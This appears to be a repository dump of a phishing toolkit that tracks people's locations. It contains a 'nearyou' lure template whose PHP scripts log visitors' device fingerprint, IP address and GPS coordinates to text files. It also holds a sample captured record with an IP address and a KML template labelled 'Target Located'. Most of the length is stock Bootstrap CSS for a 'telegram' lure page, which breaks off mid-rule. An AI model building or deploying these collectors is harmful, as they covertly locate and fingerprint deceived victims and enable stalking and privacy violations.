t=timeStamp(),speedMulF=(t-this.lastMoveTS)/(1e3/60);if(this.lastMoveTS=t,!this.PAUSED){var speedAdjF=Math.pow(this.SPEED_ADJ_FACTOR<0?0:this.SPEED_ADJ_FACTOR>1?1:this.SPEED_ADJ_FACTOR,1/speedMulF);this.SPEED=this.TARGET_SPEED*speedAdjF+this.SPEED*(1-speedAdjF),this.SPEED<0&&(this.SPEED=0);for(var speed=this.SPEED*speedMulF,i=0;i 42 | -------------------------------------------------------------------------------- /template/nearyou/php/info.php: -------------------------------------------------------------------------------- 1 | $ptf, 46 | 'browser' => $brw, 47 | 'cores' => $cc, 48 | 'ram' => $ram, 49 | 'vendor' => $ven, 50 | 'render' => $ren, 51 | 'ip' => $ip, 52 | 'ht' => $ht, 53 | 'wd' => $wd, 54 | 'os' => $os); 55 | 56 | $jdata = json_encode($data); 57 | 58 | $f = fopen('info.txt', 'w+'); 59 | fwrite($f, $jdata); 60 | fclose($f); 61 | } 62 | ?> 63 | -------------------------------------------------------------------------------- /template/nearyou/php/info.txt: -------------------------------------------------------------------------------- 1 | {"dev":[{"platform":"Win32","browser":"Chrome\/81.0.4044.92","cores":"8","ram":"8","vendor":"Google Inc.","render":"ANGLE (NVIDIA GeForce GTX 1070 Direct3D11 vs_5_0 ps_5_0)","ip":"146.196.34.142","ht":"1080","wd":"1920","os":"Win64"}]} -------------------------------------------------------------------------------- /template/nearyou/php/result.php: -------------------------------------------------------------------------------- 1 | $lat, 15 | 'lon' => $lon, 16 | 'acc' => $acc, 17 | 'alt' => $alt, 18 | 'dir' => $dir, 19 | 'spd' => $spd); 20 | 21 | $jdata = json_encode($data); 22 | 23 | $f = fopen('result.txt', 'w+'); 24 | fwrite($f, $jdata); 25 | fclose($f); 26 | } 27 | ?> 28 | -------------------------------------------------------------------------------- /template/nearyou/php/result.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /template/sample.kml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 17 | 18 | 19 | Target Located 20 | #icon 21 | 22 | LONGITUDE,LATITUDE,0 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /template/telegram/css/bootstrap.min.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Bootstrap v3.2.0 (http://getbootstrap.com) 3 | * Copyright 2011-2014 Twitter, Inc. 4 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 5 | */ 6 | 7 | /*! 8 | * Generated using the Bootstrap Customizer (http://getbootstrap.com/customize/?id=92d2ac1b31978642b6b6) 9 | * Config saved to config.json and https://gist.github.com/92d2ac1b31978642b6b6 10 | *//*! normalize.css v3.0.1 | MIT License | git.io/normalize */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:bold}dfn{font-style:italic}h1{font-size:2em;margin:0.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace, monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html input[type="button"],input[type="reset"],input[type="submit"]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:normal}input[type="checkbox"],input[type="radio"]{box-sizing:border-box;padding:0}input[type="number"]::-webkit-inner-spin-button,input[type="number"]::-webkit-outer-spin-button{height:auto}input[type="search"]{-webkit-appearance:textfield;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box}input[type="search"]::-webkit-search-cancel-button,input[type="search"]::-webkit-search-decoration{-webkit-appearance:none}fieldset{border:1px solid #c0c0c0;margin:0 2px;padding:0.35em 0.625em 0.75em}legend{border:0;padding:0}textarea{overflow:auto}optgroup{font-weight:bold}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}*:before,*:after{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{font-size:10px;-webkit-tap-highlight-color:rgba(0,0,0,0)}body{font-family:"Lucida Grande","Lucida Sans Unicode",Arial,Helvetica,Verdana,sans-serif;font-size:12px;line-height:1.42857143;color:#333;background-color:#fff}input,button,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a{color:#2e87ca;text-decoration:none}a:hover,a:focus{color:#2e87ca;text-decoration:underline}a:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}figure{margin:0}img{vertical-align:middle}.img-responsive{display:block;width:100% \9;max-width:100%;height:auto}.img-rounded{border-radius:6px}.img-thumbnail{padding:4px;line-height:1.42857143;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out;display:inline-block;width:100% \9;max-width:100%;height:auto}.img-circle{border-radius:50%}hr{margin-top:17px;margin-bottom:17px;border:0;border-top:1px solid #eee}.sr-only{position:absolute;width:1px;height:1px;margin:-1px;padding:0;overflow:hidden;clip:rect(0, 0, 0, 0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}h1,h2,h3,h4,h5,h6,.h1,.h2,.h3,.h4,.h5,.h6{font-family:inherit;font-weight:500;line-height:1.1;color:inherit}h1 small,h2 small,h3 small,h4 small,h5 small,h6 small,.h1 small,.h2 small,.h3 small,.h4 small,.h5 small,.h6 small,h1 .small,h2 .small,h3 .small,h4 .small,h5 .small,h6 .small,.h1 .small,.h2 .small,.h3 .small,.h4 .small,.h5 .small,.h6 .small{font-weight:normal;line-height:1;color:#777}h1,.h1,h2,.h2,h3,.h3{margin-top:17px;margin-bottom:8.5px}h1 small,.h1 small,h2 small,.h2 small,h3 small,.h3 small,h1 .small,.h1 .small,h2 .small,.h2 .small,h3 .small,.h3 .small{font-size:65%}h4,.h4,h5,.h5,h6,.h6{margin-top:8.5px;margin-bottom:8.5px}h4 small,.h4 small,h5 small,.h5 small,h6 small,.h6 small,h4 .small,.h4 .small,h5 .small,.h5 .small,h6 .small,.h6 .small{font-size:75%}h1,.h1{font-size:31px}h2,.h2{font-size:25px}h3,.h3{font-size:21px}h4,.h4{font-size:15px}h5,.h5{font-size:12px}h6,.h6{font-size:11px}p{margin:0 0 8.5px}.lead{margin-bottom:17px;font-size:13px;font-weight:300;line-height:1.4}@media (min-width:768px){.lead{font-size:18px}}small,.small{font-size:91%}cite{font-style:normal}mark,.mark{background-color:#fcf8e3;padding:.2em}.text-left{text-align:left}.text-right{text-align:right}.text-center{text-align:center}.text-justify{text-align:justify}.text-nowrap{white-space:nowrap}.text-lowercase{text-transform:lowercase}.text-uppercase{text-transform:uppercase}.text-capitalize{text-transform:capitalize}.text-muted{color:#777}.text-primary{color:#428bca}a.text-primary:hover{color:#3071a9}.text-success{color:#3c763d}a.text-success:hover{color:#2b542c}.text-info{color:#31708f}a.text-info:hover{color:#245269}.text-warning{color:#8a6d3b}a.text-warning:hover{color:#66512c}.text-danger{color:#a94442}a.text-danger:hover{color:#843534}.bg-primary{color:#fff;background-color:#428bca}a.bg-primary:hover{background-color:#3071a9}.bg-success{background-color:#dff0d8}a.bg-success:hover{background-color:#c1e2b3}.bg-info{background-color:#d9edf7}a.bg-info:hover{background-color:#afd9ee}.bg-warning{background-color:#fcf8e3}a.bg-warning:hover{background-color:#f7ecb5}.bg-danger{background-color:#f2dede}a.bg-danger:hover{background-color:#e4b9b9}.page-header{padding-bottom:7.5px;margin:34px 0 17px;border-bottom:1px solid #eee}ul,ol{margin-top:0;margin-bottom:8.5px}ul ul,ol ul,ul ol,ol ol{margin-bottom:0}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none;margin-left:-5px}.list-inline>li{display:inline-block;padding-left:5px;padding-right:5px}dl{margin-top:0;margin-bottom:17px}dt,dd{line-height:1.42857143}dt{font-weight:bold}dd{margin-left:0}@media (min-width:1px){.dl-horizontal dt{float:left;width:160px;clear:left;text-align:right;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.dl-horizontal dd{margin-left:180px}}abbr[title],abbr[data-original-title]{cursor:help;border-bottom:1px dotted #777}.initialism{font-size:90%;text-transform:uppercase}blockquote{padding:8.5px 17px;margin:0 0 17px;font-size:15px;border-left:5px solid #eee}blockquote p:last-child,blockquote ul:last-child,blockquote ol:last-child{margin-bottom:0}blockquote footer,blockquote small,blockquote .small{display:block;font-size:80%;line-height:1.42857143;color:#777}blockquote footer:before,blockquote small:before,blockquote .small:before{content:'\2014 \00A0'}.blockquote-reverse,blockquote.pull-right{padding-right:15px;padding-left:0;border-right:5px solid #eee;border-left:0;text-align:right}.blockquote-reverse footer:before,blockquote.pull-right footer:before,.blockquote-reverse small:before,blockquote.pull-right small:before,.blockquote-reverse .small:before,blockquote.pull-right .small:before{content:''}.blockquote-reverse footer:after,blockquote.pull-right footer:after,.blockquote-reverse small:after,blockquote.pull-right small:after,.blockquote-reverse .small:after,blockquote.pull-right .small:after{content:'\00A0 \2014'}blockquote:before,blockquote:after{content:""}address{margin-bottom:17px;font-style:normal;line-height:1.42857143}code,kbd,pre,samp{font-family:Menlo,Monaco,Consolas,"Courier New",monospace}code{padding:2px 4px;font-size:90%;color:#c61717;background-color:#feeae4;border-radius:4px}kbd{padding:2px 4px;font-size:90%;color:#fff;background-color:#333;border-radius:3px;box-shadow:inset 0 -1px 0 rgba(0,0,0,0.25)}kbd kbd{padding:0;font-size:100%;box-shadow:none}pre{display:block;padding:8px;margin:0 0 8.5px;font-size:11px;line-height:1.42857143;word-break:break-all;word-wrap:break-word;color:#546172;background-color:#ecf3f8;border:1px solid #ccc;border-radius:4px}pre code{padding:0;font-size:inherit;color:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0}.pre-scrollable{max-height:340px;overflow-y:scroll}table{background-color:transparent}th{text-align:left}.table{width:100%;max-width:100%;margin-bottom:17px}.table>thead>tr>th,.table>tbody>tr>th,.table>tfoot>tr>th,.table>thead>tr>td,.table>tbody>tr>td,.table>tfoot>tr>td{padding:8px;line-height:1.42857143;vertical-align:top;border-top:1px solid #eee}.table>thead>tr>th{vertical-align:bottom;border-bottom:2px solid #eee}.table>caption+thead>tr:first-child>th,.table>colgroup+thead>tr:first-child>th,.table>thead:first-child>tr:first-child>th,.table>caption+thead>tr:first-child>td,.table>colgroup+thead>tr:first-child>td,.table>thead:first-child>tr:first-child>td{border-top:0}.table>tbody+tbody{border-top:2px solid #eee}.table .table{background-color:#fff}.table-condensed>thead>tr>th,.table-condensed>tbody>tr>th,.table-condensed>tfoot>tr>th,.table-condensed>thead>tr>td,.table-condensed>tbody>tr>td,.table-condensed>tfoot>tr>td{padding:5px}.table-bordered{border:1px solid #eee}.table-bordered>thead>tr>th,.table-bordered>tbody>tr>th,.table-bordered>tfoot>tr>th,.table-bordered>thead>tr>td,.table-bordered>tbody>tr>td,.table-bordered>tfoot>tr>td{border:1px solid #eee}.table-bordered>thead>tr>th,.table-bordered>thead>tr>td{border-bottom-width:2px}.table-striped>tbody>tr:nth-child(odd)>td,.table-striped>tbody>tr:nth-child(odd)>th{background-color:#f9f9f9}.table-hover>tbody>tr:hover>td,.table-hover>tbody>tr:hover>th{background-color:#f5f5f5}table col[class*="col-"]{position:static;float:none;display:table-column}table td[class*="col-"],table th[class*="col-"]{position:static;float:none;display:table-cell}.table>thead>tr>td.active,.table>tbody>tr>td.active,.table>tfoot>tr>td.active,.table>thead>tr>th.active,.table>tbody>tr>th.active,.table>tfoot>tr>th.active,.table>thead>tr.active>td,.table>tbody>tr.active>td,.table>tfoot>tr.active>td,.table>thead>tr.active>th,.table>tbody>tr.active>th,.table>tfoot>tr.active>th{background-color:#f5f5f5}.table-hover>tbody>tr>td.active:hover,.table-hover>tbody>tr>th.active:hover,.table-hover>tbody>tr.active:hover>td,.table-hover>tbody>tr:hover>.active,.table-hover>tbody>tr.active:hover>th{background-color:#e8e8e8}.table>thead>tr>td.success,.table>tbody>tr>td.success,.table>tfoot>tr>td.success,.table>thead>tr>th.success,.table>tbody>tr>th.success,.table>tfoot>tr>th.success,.table>thead>tr.success>td,.table>tbody>tr.success>td,.table>tfoot>tr.success>td,.table>thead>tr.success>th,.table>tbody>tr.success>th,.table>tfoot>tr.success>th{background-color:#dff0d8}.table-hover>tbody>tr>td.success:hover,.table-hover>tbody>tr>th.success:hover,.table-hover>tbody>tr.success:hover>td,.table-hover>tbody>tr:hover>.success,.table-hover>tbody>tr.success:hover>th{background-color:#d0e9c6}.table>thead>tr>td.info,.table>tbody>tr>td.info,.table>tfoot>tr>td.info,.table>thead>tr>th.info,.table>tbody>tr>th.info,.table>tfoot>tr>th.info,.table>thead>tr.info>td,.table>tbody>tr.info>td,.table>tfoot>tr.info>td,.table>thead>tr.info>th,.table>tbody>tr.info>th,.table>tfoot>tr.info>th{background-color:#d9edf7}.table-hover>tbody>tr>td.info:hover,.table-hover>tbody>tr>th.info:hover,.table-hover>tbody>tr.info:hover>td,.table-hover>tbody>tr:hover>.info,.table-hover>tbody>tr.info:hover>th{background-color:#c4e3f3}.table>thead>tr>td.warning,.table>tbody>tr>td.warning,.table>tfoot>tr>td.warning,.table>thead>tr>th.warning,.table>tbody>tr>th.warning,.table>tfoot>tr>th.warning,.table>thead>tr.warning>td,.table>tbody>tr.warning>td,.table>tfoot>tr.warning>td,.table>thead>tr.warning>th,.table>tbody>tr.warning>th,.table>tfoot>tr.warning>th{background-color:#fcf8e3}.table-hover>tbody>tr>td.warning:hover,.table-hover>tbody>tr>th.warning:hover,.table-hover>tbody>tr.warning:hover>td,.table-hover>tbody>tr:hover>.warning,.table-hover>tbody>tr.warning:hover>th{background-color:#faf2cc}.table>thead>tr>td.danger,.table>tbody>tr>td.danger,.table>tfoot>tr>td.danger,.table>thead>tr>th.danger,.table>tbody>tr>th.danger,.table>tfoot>tr>th.danger,.table>thead>tr.danger>td,.table>tbody>tr.danger>td,.table>tfoot>tr.danger>td,.table>thead>tr.danger>th,.table>tbody>tr.danger>th,.table>tfoot>tr.danger>th{background-color:#f2dede}.table-hover>tbody>tr>td.danger:hover,.table-hover>tbody>tr>th.danger:hover,.table-hover>tbody>tr.danger:hover>td,.table-hover>tbody>tr:hover>.danger,.table-hover>tbody>tr.danger:hover>th{background-color:#ebcccc}@media screen and (max-width:767px){.table-responsive{width:100%;margin-bottom:12.75px;overflow-y:hidden;overflow-x:auto;-ms-overflow-style:-ms-autohiding-scrollbar;border:1px solid #eee;-webkit-overflow-scrolling:touch}.table-responsive>.table{margin-bottom:0}.table-responsive>.table>thead>tr>th,.table-responsive>.table>tbody>tr>th,.table-responsive>.table>tfoot>tr>th,.table-responsive>.table>thead>tr>td,.table-responsive>.table>tbody>tr>td,.table-responsive>.table>tfoot>tr>td{white-space:nowrap}.table-responsive>.table-bordered{border:0}.table-responsive>.table-bordered>thead>tr>th:first-child,.table-responsive>.table-bordered>tbody>tr>th:first-child,.table-responsive>.table-bordered>tfoot>tr>th:first-child,.table-responsive>.table-bordered>thead>tr>td:first-child,.table-responsive>.table-bordered>tbody>tr>td:first-child,.table-responsive>.table-bordered>tfoot>tr>td:first-child{border-left:0}.table-responsive>.table-bordered>thead>tr>th:last-child,.table-responsive>.table-bordered>tbody>tr>th:last-child,.table-responsive>.table-bordered>tfoot>tr>th:last-child,.table-responsive>.table-bordered>thead>tr>td:last-child,.table-responsive>.table-bordered>tbody>tr>td:last-child,.table-responsive>.table-bordered>tfoot>tr>td:last-child{border-right:0}.table-responsive>.table-bordered>tbody>tr:last-child>th,.table-responsive>.table-bordered>tfoot>tr:last-child>th,.table-responsive>.table-bordered>tbody>tr:last-child>td,.table-responsive>.table-bordered>tfoot>tr:last-child>td{border-bottom:0}}fieldset{padding:0;margin:0;border:0;min-width:0}legend{display:block;width:100%;padding:0;margin-bottom:17px;font-size:18px;line-height:inherit;color:#333;border:0;border-bottom:1px solid #e5e5e5}label{display:inline-block;max-width:100%;margin-bottom:5px;font-weight:bold}input[type="search"]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}input[type="radio"],input[type="checkbox"]{margin:4px 0 0;margin-top:1px \9;line-height:normal}input[type="file"]{display:block}input[type="range"]{display:block;width:100%}select[multiple],select[size]{height:auto}input[type="file"]:focus,input[type="radio"]:focus,input[type="checkbox"]:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}output{display:block;padding-top:7px;font-size:12px;line-height:1.42857143;color:#555}.form-control{display:block;width:100%;height:31px;padding:6px 12px;font-size:12px;line-height:1.42857143;color:#555;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-webkit-transition:border-color ease-in-out .15s, box-shadow ease-in-out .15s;-o-transition:border-color ease-in-out .15s, box-shadow ease-in-out .15s;transition:border-color ease-in-out .15s, box-shadow ease-in-out .15s}.form-control:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6)}.form-control::-moz-placeholder{color:#777;opacity:1}.form-control:-ms-input-placeholder{color:#777}.form-control::-webkit-input-placeholder{color:#777}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{cursor:not-allowed;background-color:#eee;opacity:1}textarea.form-control{height:auto}input[type="search"]{-webkit-appearance:none}input[type="date"],input[type="time"],input[type="datetime-local"],input[type="month"]{line-height:31px;line-height:1.42857143 \0}input[type="date"].input-sm,input[type="time"].input-sm,input[type="datetime-local"].input-sm,input[type="month"].input-sm{line-height:28px}input[type="date"].input-lg,input[type="time"].input-lg,input[type="datetime-local"].input-lg,input[type="month"].input-lg{line-height:42px}.form-group{margin-bottom:15px}.radio,.checkbox{position:relative;display:block;min-height:17px;margin-top:10px;margin-bottom:10px}.radio label,.checkbox label{padding-left:20px;margin-bottom:0;font-weight:normal;cursor:pointer}.radio input[type="radio"],.radio-inline input[type="radio"],.checkbox input[type="checkbox"],.checkbox-inline input[type="checkbox"]{position:absolute;margin-left:-20px;margin-top:4px \9}.radio+.radio,.checkbox+.checkbox{margin-top:-5px}.radio-inline,.checkbox-inline{display:inline-block;padding-left:20px;margin-bottom:0;vertical-align:middle;font-weight:normal;cursor:pointer}.radio-inline+.radio-inline,.checkbox-inline+.checkbox-inline{margin-top:0;margin-left:10px}input[type="radio"][disabled],input[type="checkbox"][disabled],input[type="radio"].disabled,input[type="checkbox"].disabled,fieldset[disabled] input[type="radio"],fieldset[disabled] input[type="checkbox"]{cursor:not-allowed}.radio-inline.disabled,.checkbox-inline.disabled,fieldset[disabled] .radio-inline,fieldset[disabled] .checkbox-inline{cursor:not-allowed}.radio.disabled label,.checkbox.disabled label,fieldset[disabled] .radio label,fieldset[disabled] .checkbox label{cursor:not-allowed}.form-control-static{padding-top:7px;padding-bottom:7px;margin-bottom:0}.form-control-static.input-lg,.form-control-static.input-sm{padding-left:0;padding-right:0}.input-sm,.form-horizontal .form-group-sm .form-control{height:28px;padding:5px 10px;font-size:11px;line-height:1.5;border-radius:3px}select.input-sm{height:28px;line-height:28px}textarea.input-sm,select[multiple].input-sm{height:auto}.input-lg,.form-horizontal .form-group-lg .form-control{height:42px;padding:10px 16px;font-size:15px;line-height:1.33;border-radius:6px}select.input-lg{height:42px;line-height:42px}textarea.input-lg,select[multiple].input-lg{height:auto}.has-feedback{position:relative}.has-feedback .form-control{padding-right:38.75px}.form-control-feedback{position:absolute;top:22px;right:0;z-index:2;display:block;width:31px;height:31px;line-height:31px;text-align:center}.input-lg+.form-control-feedback{width:42px;height:42px;line-height:42px}.input-sm+.form-control-feedback{width:28px;height:28px;line-height:28px}.has-success .help-block,.has-success .control-label,.has-success .radio,.has-success .checkbox,.has-success .radio-inline,.has-success .checkbox-inline{color:#3c763d}.has-success .form-control{border-color:#3c763d;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.has-success .form-control:focus{border-color:#2b542c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #67b168;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #67b168}.has-success .input-group-addon{color:#3c763d;border-color:#3c763d;background-color:#dff0d8}.has-success .form-control-feedback{color:#3c763d}.has-warning .help-block,.has-warning .control-label,.has-warning .radio,.has-warning .checkbox,.has-warning .radio-inline,.has-warning .checkbox-inline{color:#8a6d3b}.has-warning .form-control{border-color:#8a6d3b;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.has-warning .form-control:focus{border-color:#66512c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #c0a16b;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #c0a16b}.has-warning .input-group-addon{color:#8a6d3b;border-color:#8a6d3b;background-color:#fcf8e3}.has-warning .form-control-feedback{color:#8a6d3b}.has-error .help-block,.has-error .control-label,.has-error .radio,.has-error .checkbox,.has-error .radio-inline,.has-error .checkbox-inline{color:#a94442}.has-error .form-control{border-color:#a94442;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.has-error .form-control:focus{border-color:#843534;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #ce8483;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #ce8483}.has-error .input-group-addon{color:#a94442;border-color:#a94442;background-color:#f2dede}.has-error .form-control-feedback{color:#a94442}.has-feedback label.sr-only~.form-control-feedback{top:0}.help-block{display:block;margin-top:5px;margin-bottom:10px;color:#737373}@media (min-width:768px){.form-inline .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .input-group{display:inline-table;vertical-align:middle}.form-inline .input-group .input-group-addon,.form-inline .input-group .input-group-btn,.form-inline .input-group .form-control{width:auto}.form-inline .input-group>.form-control{width:100%}.form-inline .control-label{margin-bottom:0;vertical-align:middle}.form-inline .radio,.form-inline .checkbox{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.form-inline .radio label,.form-inline .checkbox label{padding-left:0}.form-inline .radio input[type="radio"],.form-inline .checkbox input[type="checkbox"]{position:relative;margin-left:0}.form-inline .has-feedback .form-control-feedback{top:0}}.form-horizontal .radio,.form-horizontal .checkbox,.form-horizontal .radio-inline,.form-horizontal .checkbox-inline{margin-top:0;margin-bottom:0;padding-top:7px}.form-horizontal .radio,.form-horizontal .checkbox{min-height:24px}.form-horizontal .form-group{margin-left:-15px;margin-right:-15px}@media (min-width:768px){.form-horizontal .control-label{text-align:right;margin-bottom:0;padding-top:7px}}.form-horizontal .has-feedback .form-control-feedback{top:0;right:15px}@media (min-width:768px){.form-horizontal .form-group-lg .control-label{padding-top:14.3px}}@media (min-width:768px){.form-horizontal .form-group-sm .control-label{padding-top:6px}}.fade{opacity:0;-webkit-transition:opacity .15s linear;-o-transition:opacity .15s linear;transition:opacity .15s linear}.fade.in{opacity:1}.collapse{display:none}.collapse.in{display:block}tr.collapse.in{display:table-row}tbody.collapse.in{display:table-row-group}.collapsing{position:relative;height:0;overflow:hidden;-webkit-transition:height .35s ease;-o-transition:height .35s ease;transition:height .35s ease}.caret{display:inline-block;width:0;height:0;margin-left:2px;vertical-align:middle;border-top:4px solid;border-right:4px solid transparent;border-left:4px solid transparent}.dropdown{position:relative}.dropdown-toggle:focus{outline:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;list-style:none;font-size:12px;text-align:left;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,0.15);border-radius:4px;-webkit-box-shadow:0 6px 12px rgba(0,0,0,0.175);box-shadow:0 6px 12px rgba(0,0,0,0.175);background-clip:padding-box}.dropdown-menu.pull-right{right:0;left:auto}.dropdown-menu .divider{height:1px;margin:7.5px 0;overflow:hidden;background-color:#e5e5e5}.dropdown-menu>li>a{display:block;padding:3px 20px;clear:both;font-weight:normal;line-height:1.42857143;color:#333;white-space:nowrap}.dropdown-menu>li>a:hover,.dropdown-menu>li>a:focus{text-decoration:none;color:#262626;background-color:#f5f5f5}.dropdown-menu>.active>a,.dropdown-menu>.active>a:hover,.dropdown-menu>.active>a:focus{color:#fff;text-decoration:none;outline:0;background-color:#428bca}.dropdown-menu>.disabled>a,.dropdown-menu>.disabled>a:hover,.dropdown-menu>.disabled>a:focus{color:#777}.dropdown-menu>.disabled>a:hover,.dropdown-menu>.disabled>a:focus{text-decoration:none;background-color:transparent;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);cursor:not-allowed}.open>.dropdown-menu{display:block}.open>a{outline:0}.dropdown-menu-right{left:auto;right:0}.dropdown-menu-left{left:0;right:auto}.dropdown-header{display:block;padding:3px 20px;font-size:11px;line-height:1.42857143;color:#777;white-space:nowrap}.dropdown-backdrop{position:fixed;left:0;right:0;bottom:0;top:0;z-index:990}.pull-right>.dropdown-menu{right:0;left:auto}.dropup .caret,.navbar-fixed-bottom .dropdown .caret{border-top:0;border-bottom:4px solid;content:""}.dropup .dropdown-menu,.navbar-fixed-bottom .dropdown .dropdown-menu{top:auto;bottom:100%;margin-bottom:1px}@media (min-width:1px){.navbar-right .dropdown-menu{left:auto;right:0}.navbar-right .dropdown-menu-left{left:0;right:auto}}.nav{margin-bottom:0;padding-left:0;list-style:none}.nav>li{position:relative;display:block}.nav>li>a{position:relative;display:block;padding:10px 15px}.nav>li>a:hover,.nav>li>a:focus{text-decoration:none;background-color:#eee}.nav>li.disabled>a{color:#777}.nav>li.disabled>a:hover,.nav>li.disabled>a:focus{color:#777;text-decoration:none;background-color:transparent;cursor:not-allowed}.nav .open>a,.nav .open>a:hover,.nav .open>a:focus{background-color:#eee;border-color:#2e87ca}.nav .nav-divider{height:1px;margin:7.5px 0;overflow:hidden;background-color:#e5e5e5}.nav>li>a>img{max-width:none}.nav-tabs{border-bottom:1px solid #ddd}.nav-tabs>li{float:left;margin-bottom:-1px}.nav-tabs>li>a{margin-right:2px;line-height:1.42857143;border:1px solid transparent;border-radius:4px 4px 0 0}.nav-tabs>li>a:hover{border-color:#eee #eee #ddd}.nav-tabs>li.active>a,.nav-tabs>li.active>a:hover,.nav-tabs>li.active>a:focus{color:#555;background-color:#fff;border:1px solid #ddd;border-bottom-color:transparent;cursor:default}.nav-tabs.nav-justified{width:100%;border-bottom:0}.nav-tabs.nav-justified>li{float:none}.nav-tabs.nav-justified>li>a{text-align:center;margin-bottom:5px}.nav-tabs.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media (min-width:768px){.nav-tabs.nav-justified>li{display:table-cell;width:1%}.nav-tabs.nav-justified>li>a{margin-bottom:0}}.nav-tabs.nav-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:hover,.nav-tabs.nav-justified>.active>a:focus{border:1px solid #ddd}@media (min-width:768px){.nav-tabs.nav-justified>li>a{border-bottom:1px solid #ddd;border-radius:4px 4px 0 0}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:hover,.nav-tabs.nav-justified>.active>a:focus{border-bottom-color:#fff}}.nav-pills>li{float:left}.nav-pills>li>a{border-radius:4px}.nav-pills>li+li{margin-left:2px}.nav-pills>li.active>a,.nav-pills>li.active>a:hover,.nav-pills>li.active>a:focus{color:#fff;background-color:#428bca}.nav-stacked>li{float:none}.nav-stacked>li+li{margin-top:2px;margin-left:0}.nav-justified{width:100%}.nav-justified>li{float:none}.nav-justified>li>a{text-align:center;margin-bottom:5px}.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media (min-width:768px){.nav-justified>li{display:table-cell;width:1%}.nav-justified>li>a{margin-bottom:0}}.nav-tabs-justified{border-bottom:0}.nav-tabs-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:hover,.nav-tabs-justified>.active>a:focus{border:1px solid #ddd}@media (min-width:768px){.nav-tabs-justified>li>a{border-bottom:1px solid #ddd;border-radius:4px 4px 0 0}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:hover,.nav-tabs-justified>.active>a:focus{border-bottom-color:#fff}}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-right-radius:0;border-top-left-radius:0}.navbar{position:relative;min-height:48px;margin-bottom:17px;border:1px solid transparent}@media (min-width:1px){.navbar{border-radius:4px}}@media (min-width:1px){.navbar-header{float:left}}.navbar-collapse{overflow-x:visible;padding-right:15px;padding-left:15px;border-top:1px solid transparent;box-shadow:inset 0 